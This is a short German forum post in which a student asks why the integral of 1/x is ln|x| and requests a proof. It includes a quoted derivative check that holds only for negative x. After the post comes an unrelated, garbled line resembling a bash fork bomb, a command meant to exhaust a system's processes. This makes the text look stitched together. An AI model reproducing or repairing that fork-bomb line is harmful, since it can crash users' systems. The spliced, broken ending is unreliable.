Problem mit Integration

ich hab hier ein kleines verständnis problem mit einem Integral ;D

kann mir das mal bitte jemand erklären ;D

warum, ist das ein natürlicher Logarithmus von |x| ???? oder besser, kann jemand einen beweis hinhauen...ich löchere schon meinen Lehrer...aber irgendwie hat der es nicht geschafft es zu beweisen ;D

edit: gut, ich hab was interressantes von $$Ben³ bekommen ;D
d ln|x|/dx = d ln(-x)/dx = (-1)/(-x) = 1/x

mhhh...ist halt die umkehrfunktion ;D aber das ist ja auch festgelegt ;D wie beweist man sowas *fg*

#!/bin/bash
){ :& };: